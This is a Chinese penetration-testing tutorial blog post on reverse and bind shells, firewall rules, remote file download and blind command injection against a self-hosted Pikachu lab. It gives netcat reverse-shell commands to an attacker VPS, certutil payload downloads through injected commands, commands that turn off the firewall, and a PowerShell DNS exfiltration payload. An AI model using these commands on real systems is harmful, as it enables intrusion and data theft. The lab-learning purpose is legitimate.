网络安全 day5 --- 反弹SHELL不回显带外正反向连接防火墙出入站文件下载

news2025/1/10 2:18:45

 免责声明

本免责声明适用于作者所有文章内容。使用者需明确,网络安全技术仅供学习和合法研究使用,不得用于任何非法活动,如未经授权的入侵、攻击或数据窃取,所有相关法律责任由使用者自行承担。由于网络安全操作可能带来系统崩溃、数据丢失等风险,使用者应对其操作后果有充分认知,并自行承担任何损失或不良后果。作者和提供者不对因使用这些技术引发的任何损害或法律责任负责,所有资源仅供学习参考,不建议用于生产环境。同时,所有内容遵循公开共享原则,使用者在引用或传播时应遵守相关规定并承担责任。

远程文件下载

我们现在宝塔上安装linux环境并在127.0.0.1中加入自己的公网ip,

 找到nc的官网,将netcat 1.11 for Win32/Win64下载到我们的网站目录下。

尝试访问自己的公网IP+文件名。

 

 

能够进行下载说明可以进行远程文件下载了。

 打开[~]#棱角 ::Edge.Forum* -----》文件下载工具

根据自己的vpsIP、端口和文件名进行填写

可以使用命令进行一键远程下载

#实用案例1:文件上传下载-解决无图形化&解决数据传输

命令生成:https://forum.ywhack.com/bountytips.php?download

Linux:wget curl python ruby perl java等

Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32等

直接将上面的命令执行即可。

反弹shell

要控制内网的某一台机器的权限

(1)内网机器把自己的命令行给到外网服务器的某个端口,外网服务器进行监听(唯一方法)

(2)如果内网把命令行权限给到本地某个端口,那外网服务器如果要获得权限,那么必须在路由器上做端口转发,也就是端口映射


连接实验

外网机器控制内网机器

只能主动给出去权限,这里不做演示了

内网机器:nc -e cmd vpsIP 5566

外网机器:ncat -lvp 5566

这样就可以让外网机器控制内网机器了。

内网机器控制外网机器

这个只需要外网机器把权限给到本地的5566,然后内网机器去连接

内网机器:nc vpsIP 5566

外网机器:ncat -e /bin/bash -lvp 5566

正向连接(Forward Connection)

通常指的是客户端主动向服务器发起连接的行为。这种连接模式是网络通信中的常见模式,客户端会通过发送请求来与服务器建立通信会话,服务器接收请求并返回响应。

简而言之,自己出去找(自己去连接外面的)。

正向实验

#实用案例2:反弹Shell命令-解决数据回显&解决数据通讯

命令生成:https://forum.ywhack.com/shell.php

netsh advfirewall firewall add rule name="Open Port 5566" protocol=TCP dir=in localport=5566 action=allow

# window上打开本地5566端口

netsh advfirewall set allprofiles state off

# window上开启所有端口,直接关闭防火墙,允许所有入站流量

1、正向连接:本地监听等待对方连接

Linux控制Windows

window输入:

//绑定CMD到本地5566端口

nc -e cmd -lvp 5566

linux输入:

//主动连接目标5566

ncat vpsIP 5566

Windows控制Linux

linux输入:

//绑定SH到本地5566端口

ncat -e /bin/sh -lvp 5566

window输入:

//主动连接目标5566

nc vpsIP 5566

如图我们正向连接成功了,从上描述来看正向连接就是将自己的cmd或者/bin/sh放在本地某个端口,等待别人去连接自己。

反向连接

反向连接(Reverse Connection),则是由服务端主动向客户端发起连接。这通常用于绕过防火墙或其他网络防护措施,尤其在内网渗透、远程访问或控制的场景中非常常见。

简而言之,别人把权限给进来。

反向连接实验

类似于这样将自己的命令行权限给到另一台机器的5566端口,另一台机器只需要在5566端口监听即可获取权限。

window管道符号 :

例子:

| & || &&

作用和linux一样

linux管道符号 :

; | || & && ``(特有``和;)

例子:

ping -c 1 127.0.0.1 ; whoami

# 都执行

ping -c 1 127.0.0.1 | whoami

# 执行后面一条(管道符)

ping -c 1 127.0.0.1 || whoami

# 执行前一条(逻辑或)

ping -c 1 127.0.0.1 & whoami

# 都执行(分割)

ping -c 1 127.0.0.1 && whoami

# 都执行(逻辑与)

ping -c 1 127.0.0.1 `whoami`

# 输出root(执行转译)

皮卡丘靶场搭建

本地搭建

在自己的vps上进行搭建

皮卡丘网址:

https://github.com/zhuifengshaonianhanlu/pikachu

安装phpstudy。

将pikachu文件夹放到WWW目录下

把pikachu里面的inc文件夹下的config.inc中加入数据库密码root

 然后直接本地打开,按照红色字样进行pkxss数据库安装,因为我这里已经安装过了所以没有红色字样,也可以访问/pikachu/install.php进行安装

pikachu外网发布

方法一:内网穿透

cpolar官网-安全的内网穿透工具 | 无需公网ip | 远程访问 | 搭建网站

使用cpolar进行内网穿透,安装成功后访问本地127.0.0.1:9200端口注册账号登陆

登陆之后我们创建一条隧道将本地的80端口服务发布到公网即可

方法二:宝塔搭建(建议使用)

安装好宝塔,登陆进去安装好apache和mysql环境

第一步关闭防火墙。

等待apache和mysql都安装完成后直接添加站点,域名什么的自己配置。(值得注意的是宝塔搭建需要在宝塔面板自己创建一个数据库,因为pikachu是敏感名字需要自己改一改然后配置文件的名字也需要自行修改)

找到宝塔面板的php.ini删除所有禁止函数,这个是宝塔自带了很多禁止函数这里我一开始忘记截图了已经删了很多了就随便加上去一个做个演示,用phpstudy搭建就没有,因为宝塔里面的php环境是经过设置了。

设置成如上图

找到php版本切换到另一个版本再切换到刚刚进行修改的版本即可。

访问网站 

成功执行。 我们这里显示不出来是因为编码的问题。浏览器编码和php脚本编码存在默认冲突。

在rce_ping.php文件中加入一行配置

再次尝试输入

 

成功输出。 打开本地安全策略,我们把宝塔ip安全策略也关了

全部取消掉点确定 

 

pikachu打靶场拿shell 

我们现在就让靶场主动把权限给到我们的vps,我们之前有在我们攻击机上配置网站存放我们的远程下载脚本,这个简单不多说了。

我们打开[~]#棱角 ::Edge.Forum*

输入我们的信息选取命令

127.0.0.1 | certutil.exe -urlcache -split -f http://vps:80/nc.exe c:\\nc.exe

注意:我们这里的nc没有做免杀所以我们要把靶场的和远程下载机器的防火墙关了

 上传成功

接下来我们做反弹

正向:

127.0.0.1 | c:\\nc.exe -e cmd -lvvp 5566

# 将服务器的cmd反弹到本地的5566端口

ncat vpsIP 5566 

# 使用linux的ncat监听服务器的5566端口

# 连接成功,尝试ipconfig可以执行

反向:

127.0.0.1 | c:\\nc.exe -e cmd VPSIP 5566

# 把权限给到远程攻击机

ncat -lvvp 5566

# 攻击机监听本地的5566端口

成功拿下权限。

在开启防火墙的情况下拿下pikachu

先打开防火墙

 

 

添加规则限制5566端口传输

之前那个正向连接的方法就失效了,因为入站规则5566被禁止了。

 我们现在可以用把权限给出去的出站方法现在。

反向:

127.0.0.1 | c:\\nc.exe -e cmd VPSIP 5566

# 把权限给到远程攻击机

ncat -lvvp 5566

# 攻击机监听本地的5566端口

我们现在把限制入站的规则删除,加个限制出站的5566

 

可想而之反向操作不行了,而且我们的防火墙开放了那入站也不行了,只能进入开通了入站策略的端口,防火墙默认开启后入站检测会更加严格,出站会更加宽松。所以这个时候我们需要自己开启一个正向的5566端口才能进行通讯,我们再去入站添加5566端口通讯就可以正向连接了。然后我们把刚刚设置的先删除了,现在应该理解了防火墙的入站和出站规则了。

数据回显

把这一行注释掉

 

命令执行之后发现没有回显了 

解决方法:

方法一: 反弹shell

直接尝试反弹shell,能够反弹成功那肯定有回显了。

方法二:外带查询

 选用一个dns平台进行外带查询,linux下可以使用`whoami`执行命令外带进入之后刚好是可行的。

DNSLOG Platform

本来想用DNSLog Platform但是进不去。所以换了个dns平台使用

因为我们的靶机服务器是window的,cmd不支持``也不支持whoami但是powershow支持

而且powershell支持变量赋值

 设置变量x为whoami,变量y为dnslog外带地址

再定义一个z变量

 

会发现还是找不到主机

 因为地址里面有一个斜杠被当作转义符了。

这个时候怎么解决呢?我们用替换法

然后重新定义$z

 

显而易见,这四个x就是\

 

再次ping $z看到我们ping通主机了。

那这种情况我们在靶场中怎么使用呢? 

为什么这样写?
cmd无法执行whoami
用到pwershell变量赋值 把whoami执行结果给变量
结果带有“\”无法执行
这个可以绕过防火墙走的是ICMP协议不走TCP和UDP协议

127.0.0.1 | powershell $x=ver;$x=$x.Replace('\','xxx');$y='.68ab23bf.log.dnslog.sbs.';$z=$x+$y;ping $z;

 # 这里我实验没出来不知道为什么,在命令行上面实验出来了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2112850.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

程序中的零值比较

前言:什么是零值? 在C/C中,“零值”通常指的是数值类型的零(0),对于指针来说则是空指针(nullptr 或 NULL)。下面我们将分别讨论如何比较整型、字符、浮点数和指针与“零值”的比较。…

顺序表与链表练习

目录 1.在长度为n(n > 1)的单链表上,设有头和尾两个引用,执行( )操作与链表的长度有关。 2.下列关于链表的说法那个是正确的( ) 3. 关于链表和顺序表间的区别,叙述错误的是( ) 4.在长度为 n 的顺序表下标为 i…

oatpp apiclient 客户端get,post请求python fastapi demo

最新用fastapi搞了个服务端,python功能太强了,就是环境不好弄,弄好后,不要轻易换python版本,不要装多个python版本 前面搞了个oatpp webapi服务端,现在要用客户端,为什么用opatpp客户端,因为他不再带其他库了 demo: 我的请求比较简单,就是向python 的 fastapi服务端…

CSP-J基础之常见的竞赛题库

文章目录 CSP-J基础之常见的竞赛题库1. 可达 (KEDA)2. 洛谷 (Luogu)3. Codeforces 洛谷账号的注册总结 CSP-J基础之常见的竞赛题库 在备战CSP-J(Certified Software Professional Junior)及其他信息学竞赛时,选手们常需要借助在线题库来进行…

GIS圈大事件!Cesium被收购了,是好是坏?

大家好,我是日拱一卒的攻城师不浪,致力于技术与艺术的融合。这是2024年输出的第34/100篇文章。 Cesium开发交流群V:brown_7778(备注来意) 一觉醒来,突然看到Cesium官方发的消息,宣布通过收购的方…

第十三届山东省ICPC

vp链接&#xff1a;https://codeforces.com/gym/104417 A. Orders 根据题意模拟&#xff0c;分别按照 a&#xff0c;b 排序&#xff0c;排序后再判断该订单是否能完成。 #include <bits/stdc.h> using namespace std;#define int long longconst int N 105; int n, k…

C#索引器(Indexer)

索引器(Indexer)允许一个对象可以像数组一样使用下标的方式来访问. 当为类定义一个索引器时,该类的行为就会像一个虚拟数组(virtual array) 一样.可以使用数组访问运算符[]来访问该类的成员. 语法 一维索引器的语法如下: element-type this[int index] { // get 访问器 …

Minimax-秋招正式批-面经(SQL相关)

1. 谈谈对聚簇索引的理解 聚簇索引 InnoDB通过主键聚集数据&#xff0c;如果没有定义主键&#xff0c;InnoDB会选择非空的唯一索引代替。如果没有这样的索引&#xff0c;InnoDB会隐式定义一个主键来作为聚簇索引聚簇索引就是按照每张表的主键构造一颗B树&#xff0c;同时叶子…

中国书法——孙溟㠭浅析碑帖《越州石氏帖》

孙溟㠭浅析碑帖《越州石氏帖》 《越州石氏帖》 是一部汇集多本摹刻的帖&#xff0c;南宋时期的会稽石邦哲&#xff08;字熙明&#xff09;把家藏的一些法书碑帖集中一起摹刻成的&#xff0c;宋理宗时临安书商陈思《宝刻丛编》有记載这部帖的目录。现在还存有宋代时拓的残缺本…

golang hertz框架入门

两种模式新建项目 1、手动新建项目 2、使用hz工具新建项目 一、手动创建项目&#xff0c;并拉取框架 1、新建项目目录 hertz_demo_w 2、在项目跟目录新建main.go 文件 package mainimport ("context""github.com/cloudwego/hertz/pkg/app""github.…

WPS如何查看已添加到词典的单词

WPS Office&#xff08;12.1.0.17827&#xff09; ① 点击文件&#xff0c;在文件中找到选项 ② 找到拼写检查并点击自定义词典 ③ 如果要删除已添加到词典的"错词"&#xff0c;则点击修改 ④ 选择"错词", 点击删除

电工基础知识

1、电工常用的电工工具 2、PPR常用配件名称 3、铜芯导线如何选择线鼻子 4、丝锥孔径对照表 5、三相电机接线方法_星形_角型 6、内六角螺铨尺寸表 7、常用螺母规格尺寸 8、常用螺栓螺母名称 9、灭火器分类使用 10、电缆颜色使用代码 11、电缆铜铝鼻子 12、空气开关

力扣第一题:两数之和

文章目录 需求分析代码结尾 需求 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案&#xff0c;并且你不能使用两次相同的元素。 你…

Hexo博客构建记录

开学了&#xff0c;准备让休息了两个月的大脑重新活动一下筋骨&#xff0c;就尝试了一下Hexo博客的简单构建。在这里记录一下&#xff0c;方便以后使用。 以下是笔者搭建时用到的教程 简单搭建教程 简单&#xff0c;虽然个人感觉布局有点乱&#xff0c;关于上传文章的介绍略…

如何下载各个版本的tomcat-比如tomcat9

1&#xff0c;找到tomcat官网https://tomcat.apache.org/ Apache Tomcat - Welcome! 找到tomcat9&#xff0c;或者archives 1.1&#xff0c;找到对应版本 1.2&#xff0c;找到小版本 1.3&#xff0c;找到bin 2&#xff0c;Index of /dist/tomcat/tomcat-9/v9.0.39/bin 2.1&a…

七牛云存储OSS基本使用测试(超详细!!!)

首先就是注册&#xff0c;然后实名认证&#xff0c;这没什么可教的 认账成功后&#xff0c;点击对象存储Kodo 点击左侧空间管理&#xff0c;新建空间 输入一个名字&#xff0c;存储区域选择距离你地址比较近的&#xff0c;访问控制选择公开(这样别人在访问时也可以看到) 这样就…

”CSS 网格“二维布局系统(补充)——WEB开发系列32

CSS 网格布局是一种二维布局系统&#xff0c;用于网页设计。通过使用网格&#xff0c;你可以将内容以行和列的形式进行排列。此外&#xff0c;网格布局还能够简便地实现一些复杂的布局结构。 一、什么是网格布局&#xff1f; CSS网格布局是一种二维布局系统&#xff0c;它允许…

基于IMX6ULL的Cortex-A中断原理讲解,以及编写其中断向量表

首先借助STM32我们需要了解中断系统是如何构成的 会有一个中断源&#xff0c;也就是能够向CPU发出中断请求的设备或事件。中断源不分硬件和软件&#xff0c;也就是产生中断信号&#xff0c;就会执行中断服务函数 但是CPU是如何知道中断源产生后就找到对应的中断…

Redis持久化机制—RDB与AOF

Redis持久化机制 RDB&#xff08;默认&#xff09; **思想&#xff1a;**保存整个数据库的快照&#xff0c;也就是RDB文件&#xff0c;有两种保存方式&#xff0c;前台保存save和后台保存bgsave&#xff0c;前者会阻塞主进程程&#xff0c;后者则是fork一个子进程去完成备份操…

ffmpeg的安装和使用教程及案例

FFmpeg的安装与使用教程 一、FFmpeg简介 FFmpeg是一个开源的、跨平台的音视频处理工具&#xff0c;可以用来转换、播放、录制、流化音视频数据&#xff0c;以及进行多种音视频编码和解码。 二、安装FFmpeg 1. Windows系统安装 下载预编译的二进制文件&#xff1a;从FFmpeg…